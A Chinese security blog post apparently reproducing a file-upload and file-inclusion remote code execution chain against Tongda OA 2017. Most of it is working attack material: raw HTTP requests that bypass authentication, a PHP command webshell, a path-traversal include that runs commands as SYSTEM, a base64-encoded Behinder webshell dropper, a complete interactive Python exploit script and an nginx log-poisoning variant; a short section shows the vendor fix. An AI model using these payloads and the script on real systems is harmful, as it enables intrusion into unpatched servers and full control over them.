通达OA文件上传+文件包含get shell复现

2020-04-29 15:13:59 3 5746
一、原理


1.文件上传

漏洞位置：/ispirit/im/upload.php

(1) 身份绕过

如果设置了P参数，则跳过auth.php：



(2) 文件上传：



上传过滤了php，因为通达oa一般使用的是windows，所以可以使用php.绕过。不过由于上传目录不在根目录，所以还是需要进行文件包含。

2.文件包含


漏洞位置：/ispirit/interface/gateway.php（2013版）
/mac/gateway.php（2017版）




二、复现



1.版本

复现使用版本：通达OA 2017版
下载地址：http://www.tongda2000.com/download/2017.php
•        不同版本下gateway.php的位置不一样，具体可以下载对应版本的源码查看，将下载地址中的“2017”改为其他年份即可。

2.步骤

(1) 下载安装

安装好后，网站的php源码进行了zend加密，可以利用在线网站解密后打开：
•        http://dezend.qiling.org/free.html

(2) 访问/ispirit/im/upload.php

抓包：
GET /ispirit/im/upload.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Connection: close

Cookie: PHPSESSID=r0hk8u3l3htg8kehe3okg0uuv6; KEY_RANDOMDATA=17233

Upgrade-Insecure-Requests: 1
将GET改为POST，并添加Content-Type和数据：
POST /ispirit/im/upload.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Connection: close

Cookie: PHPSESSID=r0hk8u3l3htg8kehe3okg0uuv6; KEY_RANDOMDATA=7087

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Length: 556

Content-Type: multipart/form-data; boundary=--------1673801018



----------1673801018

Content-Disposition: form-data; name="UPLOAD_MODE"



2

----------1673801018

Content-Disposition: form-data; name="P"



123

----------1673801018

Content-Disposition: form-data; name="DEST_UID"



2

----------1673801018

Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"

Content-Type: image/jpeg



<?php

$command=$_POST['cmd'];

$wsh = new COM('WScript.shell');

$exec = $wsh->exec("cmd /c ".$command);

$stdout = $exec->StdOut();

$stroutput = $stdout->ReadAll();

echo $stroutput;

?>

----------1673801018--
response：
HTTP/1.1 200 OK

Server: nginx

Date: Sun, 26 Apr 2020 03:24:11 GMT

Content-Type: text/html; charset=gbk

Connection: close

Vary: Accept-Encoding

Set-Cookie: PHPSESSID=123; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

X-Frame-Options: SAMEORIGIN

Content-Length: 39



+OK [vm]2873@2004_1822376441|jpg|0[/vm]
成功上传截图：


  
(3) 访问/mac/gateway.php

抓包：
GET /mac/gateway.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Connection: close

Cookie: PHPSESSID=r0hk8u3l3htg8kehe3okg0uuv6; KEY_RANDOMDATA=17233

Upgrade-Insecure-Requests: 1
将GET改为POST，并添加Content-Type和数据，注意替换文件名：
POST /mac/gateway.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Connection: close

Cookie: PHPSESSID=r0hk8u3l3htg8kehe3okg0uuv6; KEY_RANDOMDATA=7087

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 72



json={"url":"/general/../../attach/im/2004/1822376441.jpg"}&cmd=whoami
response：
HTTP/1.1 200 OK

Server: nginx

Date: Sun, 26 Apr 2020 03:28:17 GMT

Content-Type: text/html; charset=gbk

Connection: close

Vary: Accept-Encoding

X-Frame-Options: SAMEORIGIN

Content-Length: 21



nt authority\system
命令执行截图：



(4) 上传冰蝎马

将上传文件的内容替换为：
<?php

$fp = fopen('readme.php', 'w');

$a = base64_decode("PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9HRVRbJ3Bhc3MnXSkpCnsKICAgICRrZXk9c3Vic3RyKG1kNSh1bmlxaWQocmFuZCgpKSksMTYpOwogICAgJF9TRVNTSU9OWydrJ109JGtleTsKICAgIHByaW50ICRrZXk7Cn0KZWxzZQp7CiAgICAka2V5PSRfU0VTU0lPTlsnayddOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHApIHtldmFsKCRwLiIiKTt9fQoJQG5ldyBDKCRwYXJhbXMpOwp9Cj8+");

fwrite($fp, $a);

fclose($fp);

?>
上传并进行文件包含后，会在gateway.php的目录下生成一个readme.php的冰蝎马：


  
冰蝎成功连接：




三、python3脚本

From：https://www.cnblogs.com/yuyan-sec/p/12549237.html
import requests,sys





def poc():

    global url

    upload = url+"/ispirit/im/upload.php"

    cmdshell = """

    <?php

        $command=$_POST['cmd'];

        $wsh = new COM('WScript.shell');

        $exec = $wsh->exec("cmd /c ".$command);

        $stdout = $exec->StdOut();

        $stroutput = $stdout->ReadAll();

        echo $stroutput;

    ?>

    """

    files = {"ATTACHMENT": cmdshell}

    upload_post = {

        "UPLOAD_MODE":2,

        "P":123,

        "DEST_UID":2

        }

    r = requests.post(upload,upload_post,files=files)

    path = r.text

    path = path[path.find('@')+1:path.rfind('|')].replace("_","/").replace("|",".")

    return path

    

def exp():

    global url

    path = poc()

    headers = {

        "Content-Type":"application/x-www-form-urlencoded"

    }

    include = url+"/mac/gateway.php"

    while 1:

        cmd = input("$ ")

        include_post = 'json={"url":"/general/../../attach/im/'+path+'"}&cmd=%s' % cmd

        req = requests.post(url=include, data=include_post,headers=headers)

        print(req.text)

        if cmd == 'exit':

            break



if __name__ == '__main__':

    try:

        url = sys.argv[1]

        print("""   



 ______   ___   ____    ____      ___     ____      ____      __    ___ 

|      | /   \ |    \  /    |    |   \   /    |    |    \    /  ]  /  _]

|      ||     ||  _  ||   __|    |    \ |  o  |    |  D  )  /  /  /  [_ 

|_|  |_||  O  ||  |  ||  |  |    |  D  ||     |    |    /  /  /  |    _]

  |  |  |     ||  |  ||  |_ |    |     ||  _  |    |    \ /   \_ |   [_ 

  |  |  |     ||  |  ||     |    |     ||  |  |    |  .  \\     ||     |

  |__|   \___/ |__|__||___,_|    |_____||__|__|    |__|\_| \____||_____|

                                                                        



        """)

        # poc()

        exp()

    except:

        print("ERROR")



四、修复

upload.php中，删掉了else判断，直接包含/auth.php
<?php



if(isset($P) || $P!="")

{

   ob_start();

   include_once("inc/session.php");

   session_id($P);

   session_start();

   session_write_close();

}



include_once("./auth.php");
gateway.php中，url参数过滤了".."
if (strpos($url, "..") !== false) {

    echo _("ERROR URL");

    exit();

}
五、利用nginx日志getshell

抓包，发送一句话木马。注意不能直接在浏览器访问，因为符号会被浏览器编码。



本地测试环境下可以查看nginx日志，发现一句话被记录：



蚁剑连接地址：

http://127.0.0.1/mac/gateway.php?json={"url":"/general/../../nginx/logs/oa.access.log"}





TVC 3
类别 渗透测试

关于作者

leishianquan165篇文章460篇回复

欢迎关注公众号@雷石安全实验室

leishianquan
3

评论3次

要评论？请先  登录  或  注册